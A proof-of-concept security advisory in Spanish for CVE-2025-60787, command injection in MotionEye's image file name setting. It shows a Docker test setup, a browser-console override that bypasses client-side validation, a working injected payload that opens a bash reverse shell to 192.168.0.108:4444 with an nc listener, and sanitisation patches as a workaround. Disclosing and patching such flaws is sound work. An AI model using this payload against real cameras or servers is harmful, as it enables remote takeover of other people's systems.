
Prueba de concepto para CVE-2025-60787, que demuestra la ejecución remota de código en MotionEye <= 0.43.1b4 mediante la omisión de la validación del lado del cliente y la inyección de comandos en el nombre del archivo de imagen.
CVE-2025-60787 Poc - RCE - MotionEye <= 0.43.1b4
Enlace original: https://github.com/prabhatverma47/motionEye-RCE-through-config-parameter
Durante las pruebas de seguridad de una instancia de MotionEye ejecutándose en Docker, se observó que la validación del lado del cliente dentro de la interfaz web puede omitirse. Esto permite enviar entradas arbitrarias, incluidos payloads que pueden desencadenar la ejecución en el contenedor host. El problema representa un riesgo de ejecución remota de código (RCE) si se explota.
Versiones afectadas: Todas las versiones hasta la 0.43.1b4 inclusive
Estado del parche: Aún no hay parche disponible. En este aviso se proporciona una solución alternativa.
Referencia del proyecto: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10
ghcr.io/motioneye-project/motioneye:edge9999 mapeado al puerto 8765 del contenedoradmin / contraseña en blanco (predeterminada)Ejecute el siguiente comando para iniciar la descarga de la imagen de Docker y arrancar el contenedor
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge

docker logs motioneye | grep "motionEye server"
Resultado: Servidor MotionEye 0.43.1b4

Una vez que el contenedor de Docker esté en ejecución, se puede acceder al shell del contenedor con los siguientes comandos
docker exec -it motioneye /bin/bash
ls -la /tmp

Acceda a la interfaz web en:
http://127.0.0.1:9999
Inicie sesión: admin (contraseña en blanco)
Se añadió una cámara de red RTSP de muestra.

Se introdujo un comando de ejecución malicioso en "Imágenes fijas" > "Nombre de archivo de imagen", pero se encontró un error de validación del lado del cliente.
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S
Bloqueado por la validación del lado del cliente.


El siguiente script es el responsable de la validación: /static/js/main.js?v=0.43.1b4, que hace referencia a /static/js/ui.js?v=0.43.1b4 para implementar las condiciones de validación.
Archivo: /static/js/main.js?v=0.43.1b4 que hace referencia a /static/js/ui.js?v=0.43.1b4
function configUiValid() {
$('div.settings').find('.validator').each(function () { this.validate(); });
var valid = true;
$('div.settings input, select').each(function () {
if (this.invalid) { valid = false; return false; }
});
return valid;
}
Al sobrescribir la función configUiValid en la consola del navegador, se pueden omitir todas las comprobaciones de validación: Introduzca el siguiente fragmento en la consola del navegador (F12 o Ctrl+Shift+I)
configUiValid = function() {
return true;
};

Ahora el payload se puede introducir directamente sin ninguna validación: configúrelo como se indica a continuación y aplique los ajustes
Ajustes:
$(touch /tmp/test).%Y-%m-%d-%H-%M-%S

Aplicado → Archivo creado con permisos de root.

producción de reverse shell simple:
Receptor:
nc -lvnp 4444

Payload inyectado:
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S

Resultado: Se obtuvo un shell remoto.
MotionEye es vulnerable porque toma la entrada del usuario del panel web y la escribe directamente en los archivos de configuración de Motion sin comprobar si hay caracteres peligrosos. Por ejemplo, el campo image_file_name de la interfaz se envía al backend (config.py) y se guarda en /etc/motioneye/camera-.conf. Cuando MotionEye reinicia el servicio Motion (motionctl.start), el proceso Motion lee este archivo de configuración. Si el campo picture_filename contiene sintaxis de shell como $(touch /tmp/test), Motion lo ejecutará como un comando real en lugar de tratarlo como parte del nombre de archivo.
Entrada sin sanitizar escrita en los archivos de configuración de Motion:
Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion analiza picture_filename → ejecuta el payload
Archivo: /usr/local/lib/python3.13/dist-packages/motioneye/config.py
def sanitize_filename(value):
# allow only letters, numbers, %, _, -, /, .
for ch in value:
if not (ch.isalnum() or ch in "%-_/."):
return "%Y-%m-%d/%H-%M-%S" # safe fallback
return value

Aplicar la sanitización:
data['picture_filename'] = sanitize_filename(ui['image_file_name'])
data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
antes:
después:

docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
docker exec -it motioneye /bin/bash
docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
Original:
on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
Reemplazar por:
import re
on_event_start = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_event_end = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]

docker restart motioneye

Dentro de motion_camera_ui_to_dict(...):
Original:
data['picture_filename'] = ui['image_file_name']
data['snapshot_filename'] = ui['image_file_name']
Reemplazar por:
from re import sub
data['picture_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')